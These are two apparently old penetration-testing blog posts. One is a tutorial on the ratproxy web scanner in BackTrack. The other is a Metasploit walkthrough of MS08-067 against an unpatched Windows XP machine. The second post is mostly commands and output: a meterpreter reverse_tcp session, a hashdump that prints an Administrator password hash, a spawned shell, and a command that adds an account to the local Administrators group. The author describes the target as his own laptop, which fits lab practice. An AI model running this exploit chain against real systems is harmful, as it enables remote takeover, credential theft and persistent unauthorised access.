Wednesday, February 3, 2010
ratproxy - xss vulnerable scanner
Ratproxy is a tools use to scan the web vulnerable. The author of the ratproxy is Michal Zalewski, who is the famous greyhat in europe, the p0f also created by him as well.
The way of ratproxy works is act as proxy in between your browser and server. Then capture the all transaction from both sides. See below : -
browser --- ratproxy --- server
Requirement:
make the life easier, get a BT4. Then, boot the live CD will do
login = root password = toor
change directory to /pentest/web/ratproxy
root@bt:/#cd /pentest/web/ratproxy
make a directory for trace file create by ratproxy later root@bt:/pentest/web/ratproxy# mkdir /root/ratproxy
Then, run the ratproxy root@bt:/pentest/web/ratproxy# ./ratproxy -v /root/ratproxy/ -w e.log -d xxxxx.com.my -XCl2efxiscmg -p 8080 ratproxy version 1.58-beta by lcamtuf@google.com]lcamtuf@google.com Proxy configured successfully. Have fun, and please do not be evil. WARNING: Disruptive tests enabled. use with care. [+] Accepting connections on port 8080/tcp (local only)...
Simple explantion:
-v the directory i want to store the trace files
-w create a log file based on this project
-d xxxx.com.my is refer to my domain name
-p 8080 is the proxy port
for other parameters,please refer to http://code.google.com/p/ratproxy/wiki/RatproxyDoc
cause it is a bit longer
then, set up browser point to the proxy..Because i testing in my own box. So i use local host,port 8080 will do
go to that website,then login to that site。
after login you have to visit every single pages of this site.
for this example, i only visited for few pages
root@bt:/pentest/web/ratproxy# ./ratproxy -v /root/ratproxy/ -w e.log -d e-market.com.my -XCl2efxiscmg -p 8080
ratproxy version 1.58-beta by
lcamtuf@google.com]lcamtuf@google.com
Proxy configured successfully. Have fun, and please do not be evil.
WARNING: Disruptive tests enabled. use with care.
[+] Accepting connections on port 8080/tcp (local only)...
^C
back to this console, press CTRL+C to stop the ratproxy once you finish visit all the pages
Generate the html report
root@bt:/pentest/web/ratproxy# ./ratproxy-report.sh e.log > ratproxy_report.html
root@bt:/pentest/web/ratproxy# ls -lah ratproxy_report.html
-rw-r--r-- 1 root root 61K Jan 14 14:41 ratproxy_report.html
Then, open the browser to read the html report
see the screenshot, it can be categorized as few severity.
You can click the VIEW TRACE to see the whole process
also can click the EDIT to edit value。
look, the result of VIEW TRACE。
you can see the transaction from user browser to server
how is this tools ? coolz ??
this tool is used by Google as well.
Tuesday, February 2, 2010
metaspoilt [ms08_067] - conflicker
ms08-067 is a patches to prevent conflicker.
here im going to attack the machine which dont patches the ms08-067 by using metaspoilt.
requirement:-
system = ubuntu 9.10
apps = metaspoilt
(i dont/wont show how to install metaspoilt in ubuntu, as system admin,you guy please figure out by yourself. )
To execute msf,
#./opt/metaspoilt/msfconsole
then call the exploit module:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.19
RHOST => 192.168.1.19
noted:RHOST is remote host,meaning your victim
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.17
LHOST => 192.168.1.17
noted:LHOST is local host,the box you running msf
msf exploit(ms08_067_netapi) > set LPORT 4444
LPORT => 4444
note:LPORT is local port,the port you want to use. we use 4444 as example
PAYLOAD => windows/meterpreter/reverse_tcp
note:set the payload to do attack
msf exploit(ms08_067_netapi) > exploit
note: exploit the victim host
note:see the last line ??you successful created the session between your box and victim's box
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
note:getuid to see the system
meterpreter > run hashdump
Administrator:500:281b94b1e665a2b2aad3b435b51404ee:361db25d1614b529c719205dfc0d7420::: note:run hashdump, i had dumped all user account's hash key。 meterpreter > shell C:\WINDOWS\system32>ipconfig Windows IP Configuration Ethernet adapter VMware Network Adapter VMnet8: Connection-specific DNS Suffix . : Ethernet adapter VMware Network Adapter VMnet1: Connection-specific DNS Suffix . : Ethernet adapter Wireless Network Connection: Media State . . . . . . . . . . . : Media disconnected Ethernet adapter VirtualBox Host-Only Network: Connection-specific DNS Suffix . : Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . :
C:\WINDOWS\system32>net localgroup Administrators a13x /add you can play with this host with windows command like net view ,net use, tasklist ,taskkill, net service and etc. the victim is my laptop , running with windows xp sp2, windows firewall on, mcafee disabled。 |